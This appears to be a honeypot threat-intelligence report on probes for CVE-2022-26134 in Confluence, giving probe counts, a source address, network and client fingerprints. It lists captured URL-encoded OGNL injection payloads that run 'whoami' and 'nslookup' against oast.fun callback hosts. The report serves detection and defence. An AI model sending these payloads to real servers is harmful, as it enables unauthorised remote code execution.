CVE-2022-26134: Confluence - Remote Code Execution

HoneyLabs honeypots recorded 6 probes matching CVE-2022-26134 from 2 distinct source IP addresses in the last 7 days, of which 2 on interactive sensors. Severity is rated critical.

This CVE is on CISA's Known Exploited Vulnerabilities list. CISA added it on 2022-06-02.

One source probed for CVE-2022-26134 on the interactive sensors. It did not send the exploit payload.

What the sensors show

Probes arrived on 2 of the 7 days in this window. The busiest day was 2026-11-04, with 4. One address, 82.190.250.190, sent 67% of them. The largest source network was AS3269 (TIM), with 67% of the probes from 1 address. It is still being probed 4 years after CISA added it to the Known Exploited Vulnerabilities list. Over the last 90 days the sensors recorded 35 probes for it. Every probing client that negotiated TLS presented one JA4 fingerprint, t13i251000_b78ed14e2fd0_ab7e3b40a677.

Request paths that identify it

• /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%…
• /%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22nslookup%20{{*}}%22%29%7D

Addresses probing it

Networks it comes from

Where it comes from

Captured requests

• /%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22nslookup%20dbljgvs9p8tkf13idi70cy7r3mhc6foup.oast.fun%22%29%7D/
• /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.Se…
• /%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22nslookup%20dbk6e3d9namokhnc2sogb8a3wnc7rit5g.oast.fun%22%29%7D/

Requests the interactive sensors answered

• GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwor…
• GET /%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22nslookup%20dbljgvs9p8tkf13idi705yapnyj4hdd93.oast.fun%22%29%7D/

HTTP client fingerprints

• b11cun050_0004001e_00ecc3a8